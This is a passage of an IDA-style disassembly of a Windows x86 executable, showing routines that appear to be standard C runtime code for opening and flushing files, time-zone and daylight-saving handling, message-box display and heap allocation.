mov dword_481DBC, 9
or eax, 0FFFFFFFFh
retn
sub_415716 endp
; =============== S U B R O U T I N E =======================================
sub_415753 proc near ; CODE XREF: sub_412C9C+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4831E0
jnb short loc_41579C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4830E0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41579C
push eax
call sub_415716
pop ecx
push eax
call dword_418014 ; FlushFileBuffers
test eax, eax
jnz short loc_415791
call dword_418044 ; RtlGetLastWin32Error
jmp short loc_415793
; ---------------------------------------------------------------------------
loc_415791: ; CODE XREF: sub_415753+34j
xor eax, eax
loc_415793: ; CODE XREF: sub_415753+3Cj
test eax, eax
jz short locret_4157A9
mov dword_481DC0, eax
loc_41579C: ; CODE XREF: sub_415753+Aj
; sub_415753+22j
mov dword_481DBC, 9
or eax, 0FFFFFFFFh
locret_4157A9: ; CODE XREF: sub_415753+42j
retn
sub_415753 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157AA proc near ; CODE XREF: sub_413078+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_4157D0
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_4157DB
; ---------------------------------------------------------------------------
loc_4157D0: ; CODE XREF: sub_4157AA+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_4157DB: ; CODE XREF: sub_4157AA+24j
mov eax, 8000h
test ecx, eax
jnz short loc_4157F5
test ch, 40h
jnz short loc_4157F1
cmp dword_4820A4, eax
jz short loc_4157F5
loc_4157F1: ; CODE XREF: sub_4157AA+3Dj
or [ebp+var_1], 80h
loc_4157F5: ; CODE XREF: sub_4157AA+38j
; sub_4157AA+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41582D
dec eax
jz short loc_415824
dec eax
jz short loc_41581B
loc_415806: ; CODE XREF: sub_4157AA+9Fj
; sub_4157AA+E8j ...
mov dword_481DBC, 16h
mov dword_481DC0, ebx
jmp loc_415A40
; ---------------------------------------------------------------------------
loc_41581B: ; CODE XREF: sub_4157AA+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_415834
; ---------------------------------------------------------------------------
loc_415824: ; CODE XREF: sub_4157AA+57j
mov [ebp+var_C], 40000000h
jmp short loc_415834
; ---------------------------------------------------------------------------
loc_41582D: ; CODE XREF: sub_4157AA+54j
mov [ebp+var_C], 80000000h
loc_415834: ; CODE XREF: sub_4157AA+78j
; sub_4157AA+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_415862
cmp eax, 20h
jz short loc_415859
cmp eax, 30h
jz short loc_415850
cmp eax, 40h
jnz short loc_415806
mov [ebp+var_10], esi
jmp short loc_415865
; ---------------------------------------------------------------------------
loc_415850: ; CODE XREF: sub_4157AA+9Aj
mov [ebp+var_10], 2
jmp short loc_415865
; ---------------------------------------------------------------------------
loc_415859: ; CODE XREF: sub_4157AA+95j
mov [ebp+var_10], 1
jmp short loc_415865
; ---------------------------------------------------------------------------
loc_415862: ; CODE XREF: sub_4157AA+90j
mov [ebp+var_10], ebx
loc_415865: ; CODE XREF: sub_4157AA+A4j
; sub_4157AA+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_4158AF
jz short loc_4158AA
cmp ecx, ebx
jz short loc_4158AA
cmp ecx, edi
jz short loc_4158A1
cmp ecx, 200h
jz short loc_4158C8
cmp ecx, 300h
jnz loc_415806
mov [ebp+var_8], 2
jmp short loc_4158D8
; ---------------------------------------------------------------------------
loc_4158A1: ; CODE XREF: sub_4157AA+D8j
mov [ebp+var_8], 4
jmp short loc_4158D8
; ---------------------------------------------------------------------------
loc_4158AA: ; CODE XREF: sub_4157AA+D0j
; sub_4157AA+D4j
mov [ebp+var_8], esi
jmp short loc_4158D8
; ---------------------------------------------------------------------------
loc_4158AF: ; CODE XREF: sub_4157AA+CEj
cmp ecx, 500h
jz short loc_4158D1
cmp ecx, 600h
jz short loc_4158C8
cmp ecx, edx
jz short loc_4158D1
jmp loc_415806
; ---------------------------------------------------------------------------
loc_4158C8: ; CODE XREF: sub_4157AA+E0j
; sub_4157AA+113j
mov [ebp+var_8], 5
jmp short loc_4158D8
; ---------------------------------------------------------------------------
loc_4158D1: ; CODE XREF: sub_4157AA+10Bj
; sub_4157AA+117j
mov [ebp+var_8], 1
loc_4158D8: ; CODE XREF: sub_4157AA+F5j
; sub_4157AA+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_4158F7
mov ecx, dword_481DC4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_4158F7
push 1
pop esi
loc_4158F7: ; CODE XREF: sub_4157AA+138j
; sub_4157AA+148j
test al, 40h
jz short loc_415905
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_415905: ; CODE XREF: sub_4157AA+14Fj
test ah, 10h
jz short loc_41590C
or esi, edi
loc_41590C: ; CODE XREF: sub_4157AA+15Ej
test al, 20h
jz short loc_415918
or esi, 8000000h
jmp short loc_415922
; ---------------------------------------------------------------------------
loc_415918: ; CODE XREF: sub_4157AA+164j
test al, 10h
jz short loc_415922
or esi, 10000000h
loc_415922: ; CODE XREF: sub_4157AA+16Cj
; sub_4157AA+170j
call sub_415590
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_415943
and dword_481DC0, 0
mov dword_481DBC, 18h
jmp short loc_415981
; ---------------------------------------------------------------------------
loc_415943: ; CODE XREF: sub_4157AA+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_418084 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_415974
push esi
call dword_418030 ; GetFileType
test eax, eax
jnz short loc_415988
push esi
call dword_41807C ; CloseHandle
loc_415974: ; CODE XREF: sub_4157AA+1B6j
call dword_418044 ; RtlGetLastWin32Error
push eax
call sub_413260
pop ecx
loc_415981: ; CODE XREF: sub_4157AA+197j
mov eax, edi
jmp loc_415A5E
; ---------------------------------------------------------------------------
loc_415988: ; CODE XREF: sub_4157AA+1C1j
cmp eax, 2
jnz short loc_415993
or [ebp+var_1], 40h
jmp short loc_41599C
; ---------------------------------------------------------------------------
loc_415993: ; CODE XREF: sub_4157AA+1E1j
cmp eax, 3
jnz short loc_41599C
or [ebp+var_1], 8
loc_41599C: ; CODE XREF: sub_4157AA+1E7j
; sub_4157AA+1ECj
push esi
push ebx
call sub_415625
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4830E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_415A45
test al, 80h
jz short loc_415A45
test byte ptr [ebp+arg_4], 2
jz short loc_415A45
push 2
push 0FFFFFFFFh
push ebx
call sub_413BAD
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_4159FA
cmp dword_481DC0, 83h
jz short loc_415A45
jmp short loc_415A39
; ---------------------------------------------------------------------------
loc_4159FA: ; CODE XREF: sub_4157AA+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_412E82
add esp, 0Ch
test eax, eax
jnz short loc_415A27
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_415A27
push [ebp+var_10]
push ebx
call sub_416C0D
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_415A39
loc_415A27: ; CODE XREF: sub_4157AA+265j
; sub_4157AA+26Bj
push 0
push 0
push ebx
call sub_413BAD
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_415A45
loc_415A39: ; CODE XREF: sub_4157AA+24Ej
; sub_4157AA+27Bj
push ebx
call sub_412BBE
pop ecx
loc_415A40: ; CODE XREF: sub_4157AA+6Cj
or eax, 0FFFFFFFFh
jmp short loc_415A5E
; ---------------------------------------------------------------------------
loc_415A45: ; CODE XREF: sub_4157AA+221j
; sub_4157AA+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_415A5C
test byte ptr [ebp+arg_4], 8
jz short loc_415A5C
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_415A5C: ; CODE XREF: sub_4157AA+29Fj
; sub_4157AA+2A5j
mov eax, ebx
loc_415A5E: ; CODE XREF: sub_4157AA+1D9j
; sub_4157AA+299j
pop edi
pop esi
pop ebx
leave
retn
sub_4157AA endp
; =============== S U B R O U T I N E =======================================
sub_415A63 proc near ; CODE XREF: sub_413393:loc_4133D2p
cmp dword_482080, 0
jnz short locret_415A77
call sub_415A78
inc dword_482080
locret_415A77: ; CODE XREF: sub_415A63+7j
retn
sub_415A63 endp
; =============== S U B R O U T I N E =======================================
sub_415A78 proc near ; CODE XREF: sub_415A63+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_481FC8, ebp
mov dword_4226F0, ebx
mov dword_4226E0, ebx
call sub_416D53
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_415BA1
push offset dword_481FD0
call dword_418120 ; GetTimeZoneInformation
cmp eax, ebx
jz loc_415CD0
mov eax, dword_481FD0
mov ecx, dword_482024
imul eax, 3Ch
cmp word_482016, bp
push 1
pop edx
mov dword_422648, eax
mov dword_481FC8, edx
jz short loc_415AEF
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_422648, eax
loc_415AEF: ; CODE XREF: sub_415A78+69j
cmp word_48206A, bp
jz short loc_415B13
mov eax, dword_482078
cmp eax, ebp
jz short loc_415B13
sub eax, ecx
mov dword_42264C, edx
imul eax, 3Ch
mov dword_422650, eax
jmp short loc_415B1F
; ---------------------------------------------------------------------------
loc_415B13: ; CODE XREF: sub_415A78+7Ej
; sub_415A78+87j
mov dword_42264C, ebp
mov dword_422650, ebp
loc_415B1F: ; CODE XREF: sub_415A78+99j
lea eax, [esp+14h+var_4]
mov esi, dword_4180C8
push eax
push ebp
push 3Fh
mov edi, 220h
push off_4226D4
push ebx
push offset dword_481FD4
push edi
push dword_481E5C
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_415B5C
cmp [esp+14h+var_4], ebp
jnz short loc_415B5C
mov eax, off_4226D4
and byte ptr [eax+3Fh], 0
jmp short loc_415B64
; ---------------------------------------------------------------------------
loc_415B5C: ; CODE XREF: sub_415A78+D1j
; sub_415A78+D7j
mov eax, off_4226D4
and byte ptr [eax], 0
loc_415B64: ; CODE XREF: sub_415A78+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_4226D8
push ebx
push offset dword_482028
push edi
push dword_481E5C
call esi ; WideCharToMultiByte
test eax, eax
jz loc_415CC8
cmp [esp+14h+var_4], ebp
jnz loc_415CC8
mov eax, off_4226D8
and byte ptr [eax+3Fh], 0
jmp loc_415CD0
; ---------------------------------------------------------------------------
loc_415BA1: ; CODE XREF: sub_415A78+2Dj
cmp byte ptr [esi], 0
jz loc_415CD0
mov eax, dword_48207C
cmp eax, ebp
jz short loc_415BC4
push eax
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_415CD0
loc_415BC4: ; CODE XREF: sub_415A78+139j
push dword_48207C
call sub_40CD81
push esi
call sub_40CBC0
inc eax
push eax
call sub_40CCCF
add esp, 0Ch
cmp eax, ebp
mov dword_48207C, eax
jz loc_415CD0
push esi
push eax
call sub_40E3C0
push 3
push esi
push off_4226D4
call sub_40C720
mov eax, off_4226D4
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_415C19
push 1
inc esi
pop edi
loc_415C19: ; CODE XREF: sub_415A78+19Bj
push esi
call sub_40D934
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_422648, ecx
loc_415C30: ; CODE XREF: sub_415A78+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_415C3E
cmp al, bl
jl short loc_415C41
cmp al, 39h
jg short loc_415C41
loc_415C3E: ; CODE XREF: sub_415A78+1BCj
inc esi
jmp short loc_415C30
; ---------------------------------------------------------------------------
loc_415C41: ; CODE XREF: sub_415A78+1C0j
; sub_415A78+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_415C94
inc esi
push esi
call sub_40D934
imul eax, 3Ch
pop ecx
mov ecx, dword_422648
add ecx, eax
mov dword_422648, ecx
loc_415C5F: ; CODE XREF: sub_415A78+1F2j
mov al, [esi]
cmp al, bl
jl short loc_415C6C
cmp al, 39h
jg short loc_415C6C
inc esi
jmp short loc_415C5F
; ---------------------------------------------------------------------------
loc_415C6C: ; CODE XREF: sub_415A78+1EBj
; sub_415A78+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_415C94
inc esi
push esi
call sub_40D934
pop ecx
mov ecx, dword_422648
add ecx, eax
mov dword_422648, ecx
loc_415C87: ; CODE XREF: sub_415A78+21Aj
mov al, [esi]
cmp al, bl
jl short loc_415C94
cmp al, 39h
jg short loc_415C94
inc esi
jmp short loc_415C87
; ---------------------------------------------------------------------------
loc_415C94: ; CODE XREF: sub_415A78+1CCj
; sub_415A78+1F7j ...
cmp edi, ebp
jz short loc_415CA0
neg ecx
mov dword_422648, ecx
loc_415CA0: ; CODE XREF: sub_415A78+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_42264C, eax
jz short loc_415CC8
push 3
push esi
push off_4226D8
call sub_40C720
mov eax, off_4226D8
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_415CD0
; ---------------------------------------------------------------------------
loc_415CC8: ; CODE XREF: sub_415A78+10Bj
; sub_415A78+115j ...
mov eax, off_4226D8
and byte ptr [eax], 0
loc_415CD0: ; CODE XREF: sub_415A78+40j
; sub_415A78+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_415A78 endp
; =============== S U B R O U T I N E =======================================
sub_415CD6 proc near ; CODE XREF: sub_413393+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_42264C, edi
jnz short loc_415CEA
loc_415CE3: ; CODE XREF: sub_415CD6+148j
; sub_415CD6+150j ...
xor eax, eax
jmp loc_415E36
; ---------------------------------------------------------------------------
loc_415CEA: ; CODE XREF: sub_415CD6+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_4226E0
jnz short loc_415D08
cmp eax, dword_4226F0
jz loc_415E0A
loc_415D08: ; CODE XREF: sub_415CD6+24j
cmp dword_481FC8, edi
jz loc_415DE0
movzx ecx, word_482076
push ecx
cmp word_482068, di
movzx ecx, word_482074
push ecx
movzx ecx, word_482072
push ecx
movzx ecx, word_482070
push ecx
jnz short loc_415D5A
movzx ecx, word_48206C
push edi
push ecx
movzx ecx, word_48206E
push ecx
movzx ecx, word_48206A
push ecx
push eax
push ebx
jmp short loc_415D6E
; ---------------------------------------------------------------------------
loc_415D5A: ; CODE XREF: sub_415CD6+65j
movzx ecx, word_48206E
push ecx
push edi
movzx ecx, word_48206A
push edi
push ecx
push eax
push edi
loc_415D6E: ; CODE XREF: sub_415CD6+82j
push ebx
call sub_415E82
movzx eax, word_482022
add esp, 2Ch
cmp word_482014, di
push eax
movzx eax, word_482020
push eax
movzx eax, word_48201E
push eax
movzx eax, word_48201C
push eax
jnz short loc_415DC8
movzx eax, word_482018
push edi
push eax
movzx eax, word_48201A
push eax
movzx eax, word_482016
push eax
push dword ptr [esi+14h]
push ebx
loc_415DBD: ; CODE XREF: sub_415CD6+108j
push edi
call sub_415E82
add esp, 2Ch
jmp short loc_415E0A
; ---------------------------------------------------------------------------
loc_415DC8: ; CODE XREF: sub_415CD6+C8j
movzx eax, word_48201A
push eax
push edi
movzx eax, word_482016
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_415DBD
; ---------------------------------------------------------------------------
loc_415DE0: ; CODE XREF: sub_415CD6+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_415E82
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_415E82
add esp, 58h
loc_415E0A: ; CODE XREF: sub_415CD6+2Cj
; sub_415CD6+F0j
mov edx, dword_4226E4
mov eax, dword_4226F4
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_415E3A
cmp ecx, edx
jl loc_415CE3
cmp ecx, eax
jg loc_415CE3
cmp ecx, edx
jle short loc_415E4E
cmp ecx, eax
jge short loc_415E4E
loc_415E34: ; CODE XREF: sub_415CD6+166j
; sub_415CD6+16Aj
mov eax, ebx
loc_415E36: ; CODE XREF: sub_415CD6+Fj
; sub_415CD6+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_415E3A: ; CODE XREF: sub_415CD6+144j
cmp ecx, eax
jl short loc_415E34
cmp ecx, edx
jg short loc_415E34
cmp ecx, eax
jle short loc_415E4E
cmp ecx, edx
jl loc_415CE3
loc_415E4E: ; CODE XREF: sub_415CD6+158j
; sub_415CD6+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_415E75
xor ecx, ecx
cmp eax, dword_4226E8
setnl cl
loc_415E71: ; CODE XREF: sub_415CD6+1AAj
mov eax, ecx
jmp short loc_415E36
; ---------------------------------------------------------------------------
loc_415E75: ; CODE XREF: sub_415CD6+18Ej
xor ecx, ecx
cmp eax, dword_4226F8
setl cl
jmp short loc_415E71
sub_415CD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E82 proc near ; CODE XREF: sub_415CD6+99p
; sub_415CD6+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_415F1D
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_415EAD
shl esi, 2
mov eax, dword_4226F8[esi]
jmp short loc_415EB6
; ---------------------------------------------------------------------------
loc_415EAD: ; CODE XREF: sub_415E82+1Ej
shl esi, 2
mov eax, dword_42272C[esi]
loc_415EB6: ; CODE XREF: sub_415E82+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_415EF0
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_415EFA
; ---------------------------------------------------------------------------
loc_415EF0: ; CODE XREF: sub_415E82+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_415EFA: ; CODE XREF: sub_415E82+6Cj
cmp [ebp+arg_10], 5
jnz short loc_415F38
cmp [ebp+arg_8], 0
jnz short loc_415F0E
mov esi, dword_4226FC[esi]
jmp short loc_415F14
; ---------------------------------------------------------------------------
loc_415F0E: ; CODE XREF: sub_415E82+82j
mov esi, dword_422730[esi]
loc_415F14: ; CODE XREF: sub_415E82+8Aj
cmp ecx, esi
jle short loc_415F38
sub ecx, 7
jmp short loc_415F38
; ---------------------------------------------------------------------------
loc_415F1D: ; CODE XREF: sub_415E82+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_415F2E
mov ecx, dword_4226F8[eax*4]
jmp short loc_415F35
; ---------------------------------------------------------------------------
loc_415F2E: ; CODE XREF: sub_415E82+A1j
mov ecx, dword_42272C[eax*4]
loc_415F35: ; CODE XREF: sub_415E82+AAj
add ecx, [ebp+arg_18]
loc_415F38: ; CODE XREF: sub_415E82+7Cj
; sub_415E82+94j ...
cmp [ebp+arg_0], 1
jnz short loc_415F69
mov eax, [ebp+arg_1C]
mov dword_4226E4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_4226E0, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4226E8, eax
jmp short loc_415FBE
; ---------------------------------------------------------------------------
loc_415F69: ; CODE XREF: sub_415E82+BAj
mov eax, [ebp+arg_1C]
mov dword_4226F4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_422650
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4226F8, eax
jns short loc_415FA1
add eax, 5265C00h
dec ecx
mov dword_4226F8, eax
jmp short loc_415FB2
; ---------------------------------------------------------------------------
loc_415FA1: ; CODE XREF: sub_415E82+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_415FB8
sub eax, edx
inc ecx
mov dword_4226F8, eax
loc_415FB2: ; CODE XREF: sub_415E82+11Dj
mov dword_4226F4, ecx
loc_415FB8: ; CODE XREF: sub_415E82+126j
mov dword_4226F0, ebx
loc_415FBE: ; CODE XREF: sub_415E82+E5j
pop esi
pop ebx
pop ebp
retn
sub_415E82 endp
; =============== S U B R O U T I N E =======================================
sub_415FC2 proc near ; CODE XREF: sub_413F23+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_415FD3
add esp, 0Ch
retn
sub_415FC2 endp
; =============== S U B R O U T I N E =======================================
sub_415FD3 proc near ; CODE XREF: sub_415FC2+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_483301[eax], cl
jnz short loc_416000
cmp [esp+arg_4], 0
jz short loc_415FF9
movzx eax, word_421E02[eax*2]
and eax, [esp+arg_4]
jmp short loc_415FFB
; ---------------------------------------------------------------------------
loc_415FF9: ; CODE XREF: sub_415FD3+16j
xor eax, eax
loc_415FFB: ; CODE XREF: sub_415FD3+24j
test eax, eax
jnz short loc_416000
retn
; ---------------------------------------------------------------------------
loc_416000: ; CODE XREF: sub_415FD3+Fj
; sub_415FD3+2Aj
push 1
pop eax
retn
sub_415FD3 endp
; =============== S U B R O U T I N E =======================================
sub_416004 proc near ; CODE XREF: sub_414679+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_482084, ebx
push esi
push edi
jnz short loc_416053
push offset aUser32_dll ; "user32.dll"
call dword_41808C ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_416089
mov esi, dword_418090
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_482084, eax
jz short loc_416089
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_482088, eax
call esi ; GetProcAddress
mov dword_48208C, eax
loc_416053: ; CODE XREF: sub_416004+Bj
mov eax, dword_482088
test eax, eax
jz short loc_416072
call eax
mov ebx, eax
test ebx, ebx
jz short loc_416072
mov eax, dword_48208C
test eax, eax
jz short loc_416072
push ebx
call eax
mov ebx, eax
loc_416072: ; CODE XREF: sub_416004+56j
; sub_416004+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_482084
loc_416085: ; CODE XREF: sub_416004+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416089: ; CODE XREF: sub_416004+1Cj
; sub_416004+33j
xor eax, eax
jmp short loc_416085
sub_416004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41608D proc near ; CODE XREF: sub_4149E3+22p
; sub_4149E3+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4160AE
test esi, esi
jnz short loc_4160A8
push 1
pop esi
loc_4160A8: ; CODE XREF: sub_41608D+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4160AE: ; CODE XREF: sub_41608D+12j
; sub_41608D+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41610D
mov eax, dword_483428
cmp eax, 3
jnz short loc_4160D9
mov eax, [ebp+arg_0]
cmp eax, dword_483420
ja short loc_4160F8
push eax
call sub_41061C
mov edi, eax
pop ecx
test edi, edi
jnz short loc_416123
jmp short loc_4160F8
; ---------------------------------------------------------------------------
loc_4160D9: ; CODE XREF: sub_41608D+30j
cmp eax, 2
jnz short loc_4160F8
cmp esi, dword_421CB4
ja short loc_4160F8
mov eax, esi
shr eax, 4
push eax
call sub_4110BF
mov edi, eax
pop ecx
test edi, edi
jnz short loc_416137
loc_4160F8: ; CODE XREF: sub_41608D+3Bj
; sub_41608D+4Aj ...
push esi
push 8
push dword_483424
call dword_418110 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_416131
loc_41610D: ; CODE XREF: sub_41608D+26j
cmp dword_481E14, 0
jz short loc_416131
push esi
call sub_410093
test eax, eax
pop ecx
jz short loc_41613A
jmp short loc_4160AE
; ---------------------------------------------------------------------------
loc_416123: ; CODE XREF: sub_41608D+48j
push [ebp+arg_0]
loc_416126: ; CODE XREF: sub_41608D+ABj
push 0
push edi
call sub_40CC40
add esp, 0Ch
loc_416131: ; CODE XREF: sub_41608D+7Ej
; sub_41608D+87j
mov eax, edi
loc_416133: ; CODE XREF: sub_41608D+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416137: ; CODE XREF: sub_41608D+69j
push esi
jmp short loc_416126
; ---------------------------------------------------------------------------
loc_41613A: ; CODE XREF: sub_41608D+92j
xor eax, eax
jmp short loc_416133
sub_41608D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_414A88
loc_41613E: ; CODE XREF: sub_414A88+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4830C0, esi
jle short loc_416191
loc_41614D: ; CODE XREF: sub_414A88+1707j
mov eax, dword_4820B0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_416188
test byte ptr [eax+0Ch], 83h
jz short loc_41616C
push eax
call sub_40D9CA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41616C
inc edi
loc_41616C: ; CODE XREF: sub_414A88+16D5j
; sub_414A88+16E1j
cmp esi, 14h
jl short loc_416188
mov eax, dword_4820B0
push dword ptr [eax+esi*4]
call sub_40CD81
mov eax, dword_4820B0
pop ecx
and dword ptr [eax+esi*4], 0
loc_416188: ; CODE XREF: sub_414A88+16CFj
; sub_414A88+16E7j
inc esi
cmp esi, dword_4830C0
jl short loc_41614D
loc_416191: ; CODE XREF: sub_414A88+16C3j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_414A88
; =============== S U B R O U T I N E =======================================
sub_416196 proc near ; CODE XREF: sub_414E3F+2Bp
; sub_414E3F+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_4161AC
cmp ecx, esi
jnb short loc_4161AF
loc_4161AC: ; CODE XREF: sub_416196+10j
push 1
pop eax
loc_4161AF: ; CODE XREF: sub_416196+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_416196 endp
; =============== S U B R O U T I N E =======================================
sub_4161B7 proc near ; CODE XREF: sub_416270+40p
; sub_416270+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_416196
add esp, 0Ch
test eax, eax
jz short loc_4161E9
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_416196
add esp, 0Ch
test eax, eax
jz short loc_4161E9
inc dword ptr [esi+8]
loc_4161E9: ; CODE XREF: sub_4161B7+19j
; sub_4161B7+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_416196
add esp, 0Ch
test eax, eax
jz short loc_416201
